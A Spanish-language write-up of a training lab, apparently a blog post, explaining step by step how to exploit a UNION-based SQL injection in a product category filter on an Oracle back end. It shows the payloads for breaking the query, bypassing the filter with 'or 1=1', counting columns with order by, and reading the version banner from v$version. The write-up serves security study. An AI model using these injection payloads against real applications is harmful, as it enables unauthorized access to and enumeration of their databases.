Entrada

SQLI Lab 3

SQLI Lab 3

Skills

  • SQL injection attack, querying the database type and version on Oracle

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de productos. Utilizaremos un ataque UNION para obtener los resultados de la consulta, para resolver el laboratorio, hay que mostrar la versión de la base de datos


Resolución

Al acceder a la web nos sale esto

Pinchamos en alguna de las categorías, capturamos la petición con Burpsuite y le añadimos una ' a category

Si enviamos la petición nos dará un Internal Server Error debido a que hemos logrado interferir con la consulta SQL que se está haciendo

Si usamos este payload, ya habremos solucionado el error que se estaba produciendo en la consulta SQL y se mostrará lo siguiente

1
/filter?category=Lifestyle'or+1=1+--+-+

Esto se debe a que la consulta SQL que se debe estar haciendo debe ser esta

1
SELECT * FROM products WHERE category = 'Lifestyle'

Lo que hacemos cuando inyectamos ' or 1=1-- - es cerrar la ' del campo category y usar or 1=1 para que siempre sea verdad y por lo tanto exista, posteriormente con -- - lo que hacemos es ignorar el resto de la query

1
SELECT * FROM products WHERE category = 'Lifestyle' OR 1=1 -- - '

Usando order by podemos identificar cuantas columnas tiene la tabla, si ponemos un número de columnas que existe no obtendremos ningún error

1
/filter?category=Lifestyle'order+by+2--+-+

Sin embargo, si ponemos un número de columnas que no existe, obtendremos un error, esto es debido a que estamos ante una SQLI Error Based

1
/filter?category=Lifestyle'order+by+3--+-+

A continuación usamos union select para señalar ambos campos, usamos from dual al final porque en este caso la base de datos es Oracle

1
/filter?category=Lifestyle'union+select+null,null+from+dual--+-+

Con este payload lo que hacemos es listar la versión de la base de datos, en PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings.git podemos encontrar diferentes formas de enumerar bases de datos y de practicar inyecciones SQL

1
/filter?category=Gifts'+union+select+null,banner+from+v$version--+-

Esta entrada está licenciada bajo CC BY 4.0 por el autor.